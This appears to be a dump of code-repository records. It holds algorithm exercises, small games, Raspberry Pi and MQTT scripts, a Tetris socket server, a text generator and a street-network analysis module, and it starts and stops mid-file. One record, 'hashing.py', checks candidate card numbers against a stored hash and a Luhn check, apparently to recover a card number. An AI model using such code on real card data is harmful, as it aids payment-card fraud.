min(dp[5],dp[5-1] + 1) = 3\r\n = min(3,dp[5-2]+1) = 3\r\n = min(3,dp[5-5]+1) = 1\r\n ...所以后面同理\r\n 硬币问题比较经典的dp思想,由下往上推导的过程,只需要前面每一步最优,就保证了后面每一步最优。\r\n'''\r\n\r\n# dp 时间复杂度为:n*m,m=0 :\r\n dp[i] = min(dp[i],dp[i-coin] + 1)\r\n\r\n print(dp)\r\n return dp[-1] if dp[-1]!=float(\"inf\") else -1\r\n\r\n# bfs\r\ndef coinChange2(coins,amount):\r\n queue = [amount]\r\n step = 0\r\n visited = set()\r\n while queue:\r\n n = len(queue)\r\n for _ in range(n):\r\n temp = queue.pop(0)\r\n if temp == 0:\r\n return step\r\n for coin in coins:\r\n if temp>= coin and temp - coin not in visited:\r\n visited.add(temp - coin)\r\n queue.append(temp - coin)\r\n step+=1\r\n return -1\r\n\r\ndef coinChange3(Coins,amount,T):\r\n # 数量控制,这点还不太一样\r\n dp = [float(\"inf\")]*(amount+1)\r\n dp[0] = 0\r\n n = len(Coins)\r\n\r\n for i in range(n):\r\n for j in range(1,T[i]+1):\r\n # 1 - n个硬币\r\n for k in range(amount,Coins[i]-1,-1):\r\n # 每轮递归推算整个dp数组\r\n dp[k] = min(dp[k],dp[k- Coins[i]]+1)\r\n print(\"dp:\",dp)\r\n \r\n return dp[-1] if dp[-1]!=float(\"inf\") else -1\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n nums1 = [4,4,5,9]\r\n stoneMerge(4,nums1)\r\n\r\n coins1 = [1,2,5]\r\n nums = [3,3,3]\r\n\r\n coins2 = [1,5,10]\r\n amount = 18\r\n print(coinChange3(coins1,18,nums))\r\n print(coinChange2(coins2,15))\r\n\r\n\r\n","repo_name":"ljwwwiop/Classical_algorithm_task","sub_path":"alg_exp/exp4.py","file_name":"exp4.py","file_ext":"py","file_size_in_byte":5717,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"11025923883","text":"import os\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras import models\nimport tensorflow as tf\n\nsplit_dir = \"../split_picture\" #image_cut_split에 의해 생성된 directory\ntest_split_path = os.path.join(split_dir, \"test\")\n\nclasses = os.listdir(test_split_path)\nif '.ipynb_checkpoints' in classes:\n classes.remove('.ipynb_checkpoints')\n\n#================\n# 클래스 50개는 정확도가 낮음... 30개로 도전\nremove_class = ['아르피아타워', '코오롱스카이타워', '메타폴리스', '천안펜타포트', '구봉산전망대', \n '롯데시티호텔제주', '공지천구름다리', 'KDB생명빌딩', '수성SK리더스뷰', '한국전력공사본사', \n '구리타워', '울산대교전망대', '엑스포타워', '스카이베이호텔', '독립기념관겨레의탑',\n '프라이부르크전망대', '월영교', '웅비탑', '영남루', '촉석루']\n\nfor item in remove_class:\n classes.remove(item)\n#================\n\nprint(\"클래스: \", classes)\nprint(\"클래스 개수: \", len(classes))\n\ntest_datagen = ImageDataGenerator(rescale = 1./255)\n\ntest_gen = test_datagen.flow_from_directory(\n test_split_path,\n target_size=(150, 150),\n batch_size=20,\n classes = classes\n)\n\nwith tf.device('/gpu:0'):\n model = models.load_model(\"Training_image.h5\")\n test_loss, test_acc = model.evaluate_generator(test_gen, steps=50)\nprint(\"test acc: \", test_acc)\n","repo_name":"ITHwang/APOKIA","sub_path":"Image_Recognition_Model/image_test.py","file_name":"image_test.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41856651415","text":"import numpy as np\nimport numpy.random as rnd\n\nP = np.array(\n [[0.3, 0.2, 0.5],\n [0.5, 0.3, 0.2],\n [0.2, 0.5, 0.3]])\n\nstates = ['A', 'B', 'C']\nindices = range(len(states))\nstate2index = dict(zip(states, indices))\nindex2state = dict(zip(indices, states))\n\ndef generateStateSequence(X0, P, tau):\n sseq = [X0]\n iold = state2index[X0]\n for t in range(tau):\n inew = rnd.choice(indices, p=P[:,iold])\n sseq.append(index2state[inew])\n iold = inew\n return sseq\n\ndef calculateLogLikelihhodOfSequence(sequence):\n logLikelihhod = 0\n for i in range(len(sequence)-1):\n logLikelihhod += np.log(P[state2index[sequence[i+1]]][state2index[sequence[i]]])\n return logLikelihhod\n\nnumberOfSequences = 1000\nlengthOfEachSequence = 200\nlogLikelihoodSummation = 0\nfor i in range(numberOfSequences):\n sequence = generateStateSequence('A', P, (lengthOfEachSequence-1))\n print(sequence)\n logLikelihhod = calculateLogLikelihhodOfSequence(sequence)\n print('log-likelihood for this sequence = ' + str(logLikelihhod))\n logLikelihoodSummation += logLikelihhod\n\nprint('\\n Average log-likelihood = ' + str(logLikelihoodSummation/numberOfSequences))\n","repo_name":"Shifat63/MarkovChain","sub_path":"SelfTest1/Task2.py","file_name":"Task2.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1556429785","text":"import hashlib\nimport logging\nfrom work_with_file import read_settings, write_settings\n\n\ndef check_hash(card_center: int, card_begin: int) -> int:\n \"\"\"\n Hash check function\n \"\"\"\n logging.info(\"Hash check\")\n card_number = f\"{card_begin}{card_center}{settings['last_digits']}\"\n card_hash = hashlib.sha224(card_number.encode()).hexdigest()\n if settings['hash'] == card_hash:\n return card_number\n return False\n\n\ndef algorithm_Luhn(number: str) -> bool:\n \"\"\"\n A function that checks the card number with Luhn's algorithm\n \"\"\"\n check = 7\n all_number = list(map(int, number))\n all_number = all_number[::-1]\n for i, num in enumerate(all_number):\n if i % 2 == 0:\n tmp = num*2\n if tmp > 9:\n tmp -= 9\n all_number[i] = tmp\n total_sum = sum(all_number)\n rem = total_sum % 10\n if rem != 0:\n check_sum = 10 - rem\n else:\n check_sum = 0\n return True if check_sum == check else False","repo_name":"PolinaKrp/isb-4","sub_path":"hashing.py","file_name":"hashing.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"38730642679","text":"from guizero import App, Text, Waffle\nfrom random import randint\n\n\n# Constants Variable\nGRID_SIZE : int = 10 # Update this according to the number in board_width and board_height\nscore : int = 0\nboard_width, board_height = 10, 10\n\n\n# Random dots to be appear in the waffle widget.\ndef add_dot():\n x, y = (randint(0, GRID_SIZE - 1), randint(0, GRID_SIZE - 1))\n while board[x, y].dotty == True:\n x, y = randint(0, GRID_SIZE - 1), randint(0, GRID_SIZE - 1)\n board[x, y].dotty = True\n board.set_pixel(x, y, \"red\")\n\n speed = 1000\n if score > 10:\n speed = 500\n elif score > 20:\n speed = 400\n elif score > 30:\n speed = 300\n elif score > 40:\n speed = 200\n elif score > 50:\n speed = 100\n\n all_red = True\n for x in range(GRID_SIZE):\n for y in range(GRID_SIZE):\n if board[x, y].color != \"red\":\n all_red = False\n \n if all_red == True:\n score_display.value = \"You lost! Score:- \" + str(score)\n else:\n board.after(time = speed, function = add_dot)\n \n\ndef destroy_dot(x, y):\n global score\n if board[x, y].dotty == True:\n board[x, y].dotty = False\n board.set_pixel(x, y, \"white\")\n score = score + 1\n score_display.value = \"Your Score:- \" + str(score)\n\n\napp = App(title = \"Destroy the Dots\")\ninstructions = Text(master = app, text = \"Click the dots to destroy them\")\n# Waffle widget is automatically passing the 2 parameters x and y for function destroy_dot()\nboard = Waffle(master = app, width = board_width, height = board_height, command = destroy_dot)\nboard.after(time = 1000, function = add_dot) # Calling the function after every one second\nscore_display = Text(master = app, text = \"Your Score:- \" + str(score))\napp.display()","repo_name":"Viddesh1/gui","sub_path":"11_Destroy_dots.py","file_name":"11_Destroy_dots.py","file_ext":"py","file_size_in_byte":1786,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"25386491570","text":"import turtle \nt=turtle.Pen ()\nfor x in range (500) :\n t.forward (x)\n t.left (91) \n# 1 строка - импорт библиотеки черепашки\n# 2 строка - обозначаем ручку на букву t \n# 3 строка - цикл for, x 100 раз повторяется\n# 4 строка - x\n# 5 строка - поворот на лево 90 градусов","repo_name":"Layren18/B.Payne-TeachYourKidsCode","sub_path":"2 глава/Picture 2.py","file_name":"Picture 2.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"22204119350","text":"#!/bin/python3\n\n\"\"\"\nLinked List\n\nInput:\n5\n383\n484\n392\n975\n321\n\nOutput:\n321\n975\n392\n484\n383\n\n\"\"\"\n\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\nclass SinglyLinkedListNode:\n def __init__(self, node_data):\n self.data = node_data\n self.next = None\n\nclass SinglyLinkedList:\n def __init__(self):\n self.head = None\n self.tail = None\n\ndef print_singly_linked_list(node):\n while node:\n print(str(node.data))\n node = node.next\n\n# Complete the insertNodeAtHead function below.\n\n#\n# For your reference:\n#\n# SinglyLinkedListNode:\n# int data\n# SinglyLinkedListNode next\n#\n#\ndef insertNodeAtHead(llist, data):\n \n node = SinglyLinkedListNode(data)\n\n if llist: \n node.next = llist\n \n return(node)\n\n\nif __name__ == '__main__':\n \n\n llist_count = int(input())\n\n llist = SinglyLinkedList()\n\n for _ in range(llist_count):\n llist_item = int(input())\n llist_head = insertNodeAtHead(llist.head, llist_item)\n llist.head = llist_head\n \n print_singly_linked_list(llist.head)\n print('\\n')\n \n","repo_name":"VinhMaiVy/learning-python","sub_path":"src/Data Structure/02 Linked Lists/py_insert_a_node_at_the_head_of_a_linked_list.py","file_name":"py_insert_a_node_at_the_head_of_a_linked_list.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"45011924424","text":"import socket\nfrom _thread import *\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind((\"192.168.56.1\", 5000))\ns.listen(1024)\nplayers = 0\nready = 0\ndead = 0\n\n\ndef client(csocket):\n global ready\n global dead\n global players\n send = False\n started = False\n died = False\n players += 1\n while True:\n try:\n reply = \"Waiting\"\n ans = csocket.recv(1024).decode(\"utf-8\")\n if ans == \"Close\":\n csocket.close()\n players-=1\n dead-=1\n ready-=1\n if ans == \"Ready\":\n if not send:\n ready += 1\n send = True\n\n if ready == players and players != 0 and players != 1 and not started:\n reply = \"Start\"\n for i in range(players):\n\n csocket.sendall(reply.encode(\"utf-8\"))\n started = True\n elif ans == \"Died\" and not died:\n place = players - dead\n dead += 1\n reply = str(place) + \". Place\"\n died = True\n csocket.sendall(reply.encode(\"utf-8\"))\n csocket.sendall(reply.encode(\"utf-8\"))\n if reply == \"Died\" and not died:\n died = True\n if players == 1:\n csocket.sendall(\"1. Place\".encode(\"utf-8\"))\n csocket.sendall(\"1. Place\".encode(\"utf-8\"))\n players = 0\n ready = 0\n dead = 0\n\n break\n if died and reply == \"Waiting\":\n place = players - dead\n reply = str(place) + \". Place\"\n csocket.sendall(reply.encode(\"utf-8\"))\n\n except:\n break\n\n\n\nwhile True:\n csocket, addr = s.accept()\n start_new_thread(client, (csocket,))\n","repo_name":"Simplepianist/Spiele_Kiste","sub_path":"Tetris/Server_Tetris.py","file_name":"Server_Tetris.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17178838746","text":"import paho.mqtt.client as mqtt\nfrom urllib.parse import urlparse\nimport sys\nimport time\nimport json\nfrom sense_hat import SenseHat\nfrom occupant_detection import check_presence\nfrom facial_req import detect\n\n# Define event callbacks\ndef on_connect(client, userdata, flags, rc):\n print(\"Connection Result: \" + str(rc))\n\ndef on_publish(client, obj, mid):\n print(\"Message ID: \" + str(mid)) \n\nmqttc = mqtt.Client()\n\n# Assign event callbacks\nmqttc.on_connect = on_connect\nmqttc.on_publish = on_publish\n\n# parse mqtt url for connection details\nurl_str = sys.argv[1]\nprint(url_str)\nurl = urlparse(url_str)\nbase_topic = url.path[1:]\n\n# Connect\nif (url.username):\n mqttc.username_pw_set(url.username, url.password)\n\nmqttc.connect(url.hostname, url.port)\nmqttc.loop_start()\n\n# Publish the occupants list at the beginning and continuously scan for intruders\nwhile True:\n occupants=check_presence()\n occupants_json=json.dumps({\"occupants\":occupants})\n mqttc.publish(base_topic+\"/occupants\", occupants_json)\n detect()\n time.sleep(10)","repo_name":"DGhambari/CompSys_Facial_Recognition_Assignment","sub_path":"client_sub.py","file_name":"client_sub.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6681643741","text":"import xbahn.shortcuts\nimport xbahn.connection\n\nif __name__ == \"__main__\":\n\n # connect to api server using zmq REQ sockect over TCP (default)\n connection = xbahn.connection.connect(\"zmq://0.0.0.0:7050/req\")\n\n # run api client on our connection\n client = xbahn.shortcuts.api_client(connection)\n\n print(\"ping!\")\n # send \"ping\" call to server and print the response\n # by default this will block until a response is received or the\n # request fails.\n print(client.ping()) # pong!\n\n # multiply 7 and 6 and print the result\n print(\"7*6 =\",client.multiply(7,6))\n","repo_name":"20c/xbahn","sub_path":"examples/api/one_way/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1989081313","text":"import re\nfrom typing import Union\n\nimport torch\nfrom model import GazdanovPT\nfrom transformers import AutoTokenizer\n\n\nclass TextGenerator:\n def __init__(self, model_path: str, device: str) -> None:\n self.tokenizer = AutoTokenizer.from_pretrained(\n \"DeepPavlov/distilrubert-tiny-cased-conversational-5k\"\n )\n self.model = GazdanovPT.load_model(model_path)\n self.model.to(device)\n self.model.eval()\n\n def generate(\n self,\n text: str,\n max_tokens: int,\n temp: float,\n top_k: Union[int, float],\n sample_strategy: str,\n ):\n idxs = self.tokenizer.encode(\n text,\n add_special_tokens=False,\n return_tensors=\"pt\",\n )\n if sample_strategy == \"beam\":\n idxs = self._beamsearch(idxs, max_tokens, temp)\n elif sample_strategy == \"greedy\":\n idxs = self._greedysearch(idxs, max_tokens)\n elif sample_strategy == \"random\":\n idxs = self._randomsearch(idxs, max_tokens, temp, top_k)\n else:\n raise Exception(\n f\"Sample strategy must be on of (beam, greedy, random), but get {sample_strategy}\"\n )\n return re.sub(r\"\\s+(?=(?:[,.?!:;…]))\", r\"\", \" \".join(idxs).replace(\" ##\", \"\"))\n\n @torch.no_grad()\n def _randomsearch(\n self, idxs: torch.Tensor, max_tokens: int, temp: float, top_k: Union[int, float]\n ) -> torch.Tensor:\n for _ in range(max_tokens):\n logits = self.model(\n idxs[-max_tokens:] if idxs.size(0) >= max_tokens else idxs\n )\n logits = logits[:, -1, :] / temp\n if top_k is not None:\n if top_k is float:\n top_k = int(top_k * self.model.config[\"vocab_size\"])\n v, _ = torch.topk(logits, top_k)\n logits[logits < v[-1]] = -float(\"Inf\")\n probs = torch.nn.functional.softmax(logits, dim=-1)\n idx_next = torch.multinomial(probs, num_samples=1)\n idxs = torch.cat((idxs, idx_next), dim=-1)\n return idxs\n\n @torch.no_grad()\n def _greedysearch(self, idxs: torch.Tensor, max_tokens: int) -> torch.Tensor:\n for _ in range(max_tokens):\n logits = self.model(\n idxs[-max_tokens:] if idxs.size(0) >= max_tokens else idxs\n )\n idx_next = torch.argmax(logits, keepdim=True)\n idxs = torch.cat((idxs, idx_next), dim=-1)\n return idxs\n\n @torch.no_grad()\n def __beamsearch(\n self, idxs: torch.Tensor, max_tokens: int, temp: float\n ) -> torch.Tensor:\n pass\n","repo_name":"Jserax/text_generator","sub_path":"text_generator/text_generator.py","file_name":"text_generator.py","file_ext":"py","file_size_in_byte":2650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7473751982","text":"def main():\n fn = store.fetch(['filename'])['filename']\n keys = ['wordcount_'+f for f in fn]\n counts = store.fetch(keys)\n\n # merge\n res = {}\n for wc in counts.values():\n for w in wc:\n if w not in res:\n res[w] = wc[w]\n else:\n res[w] += wc[w]\n\n store.put({'result': res}, {})","repo_name":"sjtu-epcc/FaaSFlow","sub_path":"benchmark/wordcount/merge/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"41829993513","text":"#!/usr/bin/python\nimport RPIO, time\n\n# John Scuteri's Button Board tester program v2.0\n# This program is for John Jay's Button board\n# This program was inspired by programs from the following website\n# http://www.savagehomeautomation.com/projects/raspberry-pi-john-jays-8-led-button-breakout-board.html\n# This program uses Python to make use of the Raspberry Pi's GPIO\n# GPIO.RPI is replaced in this program with RPIO which need to be downloaded\n# RPIO adds the resistor value modification\n# The RPIO API is under LGPL V(3) licence\n# The licence of RPIO is here https://github.com/metachris/RPIO/blob/master/LICENSE.txt\n# I am new at Python\n\nRPIO.setmode(RPIO.BOARD)\nButton = [10,11,12,13,15,16,18,22]\nLED = [3,5,7,26,24,21,19,23]\n# Above changed from origonal version for universal usage with input from Doug Wyman\nCurrent = [True, True,True, True,True, True,True, True ]\nSave = [True, True,True, True,True, True,True, True ]\n# Above is the button value states, both historic and present.\n\n# Setting resistor values for the switches\nfor x in Button:\n RPIO.setup(x, RPIO.IN, pull_up_down=RPIO.PUD_UP)\n\n# Starting the LEDs\nfor x in LED:\n RPIO.setup(x, RPIO.OUT)\n RPIO.output(x, RPIO.HIGH)\n\nwhile True:\n for l, c, s, b in zip(LED,Current, Save, Button):\n s = c\n c = RPIO.input(b)\n if (c == False):\n if (s == True):\n # ^ Tests for previous value to make sure it registers once\n print(\"Button pressed \")\n #Notes a button was pressed. Future versions will bring back which button\n RPIO.output(l, RPIO.LOW)\n # ^ Turns the LED off\n time.sleep(2)\n\t\t\t\t# ^ Prevents the Led from blinking really fast (2 second delay)\n\n else:\n RPIO.output(l, RPIO.HIGH)\n # ^ Turns the LED back on\n \n","repo_name":"johnscuteri/OpenSourcedButtonBoardTest","sub_path":"MyTestProgram.py","file_name":"MyTestProgram.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21856990845","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[370]:\n\n\nimport numpy as np\nimport pandas as pd\nimport geopandas as gpd\nimport networkx as nx\nimport shapely.ops as so\nimport shapely.wkt\nimport matplotlib.pyplot as plt\nimport powerlaw\n\nfrom shapely import ops\nfrom scipy import stats\nfrom scipy.stats import t\nfrom shapely.geometry import Point, box, GeometryCollection\nfrom shapely.strtree import STRtree\n\n\n# In[369]:\n\n\nclass ReadData:\n \"\"\"A class to read information from nodes (osmid, x, y, lon, lat, geometry) and links\n (u, v, length, geometry) from the csv's files to generate the street network.\n \n Parameters\n ----------\n str : path\n Path where the Brazil folder is located with the data in the nodes\n and the street network links.\n \n Methods\n -------\n read_nodes_and_links(name, uf, region)\n Read the csv with nodes and links information.\n \n read_polygons_populations(name, uf, region)\n Read the csv with geometries and populations.\n \n \"\"\"\n def __init__(self, path):\n self.path = path\n\n \n def read_nodes_and_links(self, name, uf, region):\n \"\"\"Read the dataframes (pandas.core.frame.DataFrame) of nodes and links of the street network.\n \n Parameters\n ----------\n str : name\n City name (e.g., 'São Gonçalo do Sapucaí', \"Lavras\", etc).\n str : uf\n State abbreviation (e.g., 'MG', \"SP\", etc).\n str : region\n Rerion name (e.g., 'Sudeste', \"Norte\", etc).\n \n \n Returns\n -------\n tuple:\n The first component of the tuple is a 'pandas.core.frame.DataFrame' with the node information\n (osmid, x, y, lon, lat, geometry).\n \n Details\n \n ---------------------------------------------------------------\n variable | interpretation\n ---------------------------------------------------------------\n ---------------------------------------------------------------\n osmid | node id (an integer, e.g., 94938203, 63278324, etc)\n ---------------------------------------------------------------\n x | node abyss\n ---------------------------------------------------------------\n y | node ordinate\n ---------------------------------------------------------------\n lon | node longitude (format: epsg 4326)\n ---------------------------------------------------------------\n lat | node latitude (format: epsg 4326)\n ---------------------------------------------------------------\n geometry | node geometry (shapely.geometry.point.Point)\n ---------------------------------------------------------------\n \n \n The second component of the tuple is a 'pandas.core.frame.DataFrame' with the link information\n (u, v, length, geometry).\n \n Details\n \n ------------------------------------------------------------------\n variable | interpretation\n ------------------------------------------------------------------\n ------------------------------------------------------------------\n u | identification of a link node (an integer,\n | e.g., 94938203, 63278324, etc.)\n ------------------------------------------------------------------\n v | identification of another node on the link (an integer,\n | e.g., 94938203, 63278324, etc.)\n -------------------------------------------------- ---------------\n length | link length in meters\n -------------------------------------------------- ---------------\n geometry | link geometry (shapely.geometry.linestring.LineString)\n -------------------------------------------------- ---------------\n \n Useful links:\n \n 1. https://shapely.readthedocs.io/en/stable/manual.html\n \n 2. https://pandas.pydata.org/docs/user_guide/index.html#user-guide\n \n 3. https://geopandas.org/en/stable/docs/user_guide.html\n \"\"\"\n \n path = self.path +'Brasil/Região/'+ region + '/' + uf + '/'+ 'Municípios/'\n df_nodes = pd.read_csv(path +'nos_proj_'+ name + '.csv', usecols=['osmid', 'x', 'y', 'lon', 'lat', 'geometry'])\n df_links = pd.read_csv(path +'links_proj_'+ name + '.csv', usecols = ['u', 'v', 'length', 'geometry'])\n \n return df_nodes, df_links\n \n def read_polygons_populations(self, name, uf, region):\n \"\"\"Method for get the polygons and population live in each polygon.\n \n Parameters\n ----------\n name : str\n City name (e.g., São Gonçalo do Sapucaí, Lavras, Belo Horizonte, etc.).\n \n uf : str\n City state abbreviation (e.g., MG, SP, AM, etc.).\n \n Returns\n -------\n \n polygon, population : list, list\n A tuple of lists: the first component of the tuple is a list of polygons (of the census track geted \n from IBGE) of the city and the second component of the tuple is a list of population (of the census\n track geted from IBGE). OBS: don't sort the population list!\n \n \"\"\"\n path = self.path+\"Geoms/Região/\"+region+\"/\"+uf+\"_geoms_populs.csv\"\n df = pd.read_csv(path)\n city = df.loc[df.nome==name]\n \n geo = [shapely.wkt.loads(eval(list(city.geometry)[0])[i]).buffer(0) for i in range(len(eval(list(city.geometry)[0])))]\n polygon = GeometryCollection(geo)\n \n s = list(city.popul_setor)[0]\n p = list(np.fromstring(s[1:-1], sep=', '))\n population = list(np.nan_to_num(p))\n \n return polygon, population\n\nclass StreetNetwork:\n \"\"\"A class to generate the street network from node information\n (osmid, x, y, lon, lat, geometry) and links (u, v, length, geometry)\n of previously read csv files.\n \n Methods\n -------\n generate_network(df_nodes, df_links)\n Method to generate the street network from the information of the nodes and the\n links.\n \n -----------------------------------------\n \n cyclomatic_number(G)\n It describes the number of edges that must be removed from a network to ensure\n that no network cycles remain.\n \n alpha_number(G)\n It describes the ratio between the number of circuits (loops) and the maximum\n number of circuits in the network with the same number of nodes.\n \n beta_number(G)\n It measures the frequency of connections based on the relationship between the \n number of links and the number of nodes in the network.\n \n gamma_number(G)\n It measures the frequency of links and is defined as the ratio between the number\n of links and the maximum possible number of links.\n \n Ref. \n \n Sharifi, A. Resilient Urban Forms: A Review of Literacture on Street and Street Network. 2018.\n\n -----------------------------------------\n \n network_area(G)\n Convex hull area formed by the network nodes.\n \n network_perimeter(G)\n Convex hull perimeter formed by the network nodes.\n \n -----------------------------------------\n \n network_efficiency(G)\n Calculate the street network efficiency.\n \n Ref. \n \n \"Paolo Crucitti, Vito Latora, and Sergio Porta. Centrality measures in\n spatial networks of urban streets. Phys. Rev. E 73, 036125 – Published 24 March 2006\"\n \n ----------------------------------------\n \n generate_routes(G)\n Generate 1000 routes on the street network as default.\n \n plot_network(G)\n Method to plot the street network.\n \"\"\"\n \n def generate_network(self, df_nodes, df_links):\n \"\"\"Method to generate the street network from the information of the nodes and the\n links. The node positions are longitude and latitude.\n \n Parameters\n ----------\n pandas.core.frame.DataFrame : df_nodes\n Dataframe with node information.\n \n pandas.core.frame.DataFrame : df_links\n Dataframe with the link information.\n \n returns\n -------\n G : networkx.classes.graph.Graph\n Street network.\n \"\"\" \n nodes = list(df_nodes.osmid)\n coords = list(zip(list(df_nodes.lon), list(df_nodes.lat)))\n links = list(zip(list(df_links.u), list(df_links.v)))\n dict_nodes_pos = dict(zip(nodes, coords))\n \n w_links = []\n for link in links:\n node0, node1 = link\n x0, y0 = dict_nodes_pos[node0]\n x1, y1 = dict_nodes_pos[node1]\n d = ((x1-x0)**2+(y1-y0)**2)**0.5\n w_links.append(d)\n \n G = nx.Graph()\n G.add_edges_from(links)\n nx.set_node_attributes(G, dict_nodes_pos, 'pos')\n weight = [{'weight': w} for w in w_links]\n links_weighted = dict(zip(links, weight))\n nx.set_edge_attributes(G, links_weighted)\n \n return G\n \n def cyclomatic_number(self, G):\n \"\"\"Method for calculating the cyclomatic number, which describes the number of edges \n that must be removed from a network to ensure that no network cycles remain.\n \n Parameters\n ----------\n networkx.classes.graph.Graph : G\n Street network.\n \n Returns\n -------\n float\n Cyclomatic number.\n \"\"\"\n cyclomatic_number = G.number_of_edges()-G.number_of_nodes()+1\n return cyclomatic_number\n \n def alpha_number(self, G):\n \"\"\"Method for calculating the alpha number, which describes the ratio between the number of circuits \n (loops) and the maximum number of circuits in the network with the same number of nodes.\n \n Parameters\n ----------\n networkx.classes.graph.Graph : G\n Street network.\n \n Returns\n -------\n float\n Alpha number.\n \n \"\"\"\n alpha_index = (G.number_of_edges()-G.number_of_nodes()+1)/(2*G.number_of_nodes()-5)\n return alpha_index\n \n def beta_number(self, G):\n \"\"\"Method for calculating the beta number, which measures the frequency of connections based on the \n relationship between the number of links and the number of nodes in the network.\n \n Parameters\n ----------\n networkx.classes.graph.Graph : G\n Street network.\n \n Returns\n -------\n float\n Beta number.\n \"\"\"\n beta_index = G.number_of_edges()/G.number_of_nodes()\n return beta_index\n \n def gamma_number(self, G):\n \"\"\"Method for calculating the gamma number, measures the frequency of links and is defined as the \n ratio between the number of links and the maximum possible number of links.\n \n Parameters\n ----------\n networkx.classes.graph.Graph : G\n Street network.\n \n Returns\n -------\n float\n Gamma number.\n \"\"\"\n gamma_index = G.number_of_edges()/(3*(G.number_of_nodes()-2))\n return gamma_index\n \n def network_area(self, G):\n \"\"\"Method for calculating the network area based on the convex hull.\n \n Parameters\n ----------\n networkx.classes.graph.Graph : G\n Street network.\n \n Returns\n -------\n float\n Convex hull area formed by the street network nodes.\n \"\"\"\n\n lonlat = [G.nodes(data=True)[node]['pos'] for node in list(G.nodes())]\n\n points = [Point(pos[0],pos[1]) for pos in lonlat]\n \n union_points = ops.unary_union(points)\n \n hull = union_points.convex_hull\n \n gdf = gpd.GeoDataFrame({'geometry': [hull]}, crs = 'epsg:4326')\n \n gdf_convert = gdf.to_crs(5837)\n\n return gdf_convert.area.values[0]\n \n def network_perimeter(self, G):\n \"\"\"Method for calculating the network perimeter based on the convex hull.\n \n Parameters\n ----------\n networkx.classes.graph.Graph : G\n Street network.\n \n Returns\n -------\n float\n Convex hull perimeter formed by the street network nodes.\n \n \"\"\"\n\n lonlat = [G.nodes(data=True)[node]['pos'] for node in list(G.nodes())]\n\n points = [Point(pos[0],pos[1]) for pos in lonlat]\n \n union_points = ops.unary_union(points)\n \n hull = union_points.convex_hull\n \n gdf = gpd.GeoDataFrame({'geometry': [hull]}, crs = 'epsg:4326')\n \n gdf_convert = gdf.to_crs(5837)\n\n return gdf_convert.exterior.length.values[0]\n \n def network_efficiency(self, G):\n \"\"\"Method to calculate the street network efficiency.\n \n Parameters\n ----------\n networkx.classes.graph.Graph : G\n Street network.\n \n Returns\n -------\n float\n Network efficiency.\n \n Ref. \n \n \"Paolo Crucitti, Vito Latora, and Sergio Porta. Centrality measures in\n spatial networks of urban streets. Phys. Rev. E 73, 036125 – Published 24 March 2006\"\n \"\"\"\n \n def degree_meter(A):\n return (2*np.pi*A*6378137)/360\n\n nodes = list(G.nodes())\n dict_nodes_pos = dict(zip(nodes, [G.nodes(data=True)[node]['pos'] for node in nodes]))\n M = [[(nodes[i], node) for node in nodes] for i in range(len(nodes))] \n\n summ = 0\n for i in range(len(M)):\n for j in range(len(M)):\n if i != j:\n route = nx.shortest_path(G, M[i][j][0], M[i][j][1])\n\n source, target = route[0], route[-1]\n x0, y0 = dict_nodes_pos[source]\n x1, y1 = dict_nodes_pos[target]\n\n euclid_dist = degree_meter(((x1-x0)**2+(y1-y0)**2)**0.5)\n\n shp_dist = 0\n for k in range(len(route)-1):\n x0, y0 = dict_nodes_pos[route[k]]\n x1, y1 = dict_nodes_pos[route[k+1]]\n shp_dist += degree_meter(((x1-x0)**2+(y1-y0)**2)**0.5)\n\n summ += euclid_dist/shp_dist\n\n efficiency = summ/(len(M)*(len(M)-1))\n\n return efficiency\n \n def generate_routes(self, G, routes=1000):\n \"\"\"Method to generate 1000 routes as default on the street nework.\n \n Parameters\n ----------\n networkx.classes.graph.Graph: G\n Street network.\n \n int : routes\n Number of routes that will be generated.\n \n Returns\n -------\n dict \n Dictionary with euclidian, chemical, average euclidian distances,\n the routes (list of nodes) and position nodes of each route.\n \n \n Details\n \n ----------------------------------------------------------------------\n variable | interpretation\n ----------------------------------------------------------------------\n ----------------------------------------------------------------------\n 'euclidian_distance' | list of the euclidian distance\n ----------------------------------------------------------------------\n 'average_euclidian_distance' | list of the average euclidian distance\n ----------------------------------------------------------------------\n 'chemical_distance' | list of the chemical distance\n ----------------------------------------------------------------------\n 'chemical_routes' | list of the chemical routes\n ----------------------------------------------------------------------\n 'chemical_routes_pos' | list of the chemical routes position\n ----------------------------------------------------------------------\n \n \"\"\"\n \n def degree_meters(A):\n return (2*np.pi*A*6378137)/360\n\n def average_euclidian_distance(euclid_dist, chem_dist):\n\n average_euclid_dist = []\n\n 